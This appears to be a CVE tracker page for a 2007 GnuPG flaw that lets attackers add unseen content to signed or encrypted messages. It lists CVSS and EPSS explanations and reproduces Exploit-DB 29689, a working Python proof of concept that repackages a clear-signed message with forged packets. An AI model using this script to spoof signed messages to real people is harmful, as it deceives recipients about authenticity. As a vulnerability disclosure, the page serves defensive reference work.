Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
5 |
|
AV:N/AC:L/Au:N/C:N/I:P/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 29689
Publication date : 2007-03-04 23h00 +00:00
Author : Gerardo Richarte
EDB Verified : Yes
source: https://www.securityfocus.com/bid/22757/info
GnuPG is prone to a weakness that may allow an attacker to add arbitrary content into a message without the end user knowing.
An attacker may be able to exploit this issue in applications using GnuPG to add arbitrary content into a signed and/or encrypted message.
Exploiting this issue depends on the individual application's use of GnuPG. Individual records will be created detailing this issue in affected applications.
#!/usr/bin/python
import os, gpg, sys, base64
clear_sign = open(sys.argv[1], "rb").read().splitlines()
start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")
text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])
onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1
plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62
signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)
compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]
pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed
os.write(1,str(pkt))
Products Mentioned
Configuraton 0
Gnu>>Gpgme >> Version To (including) 1.1.3
Gnupg>>Gnupg >> Version To (including) 1.4.6
References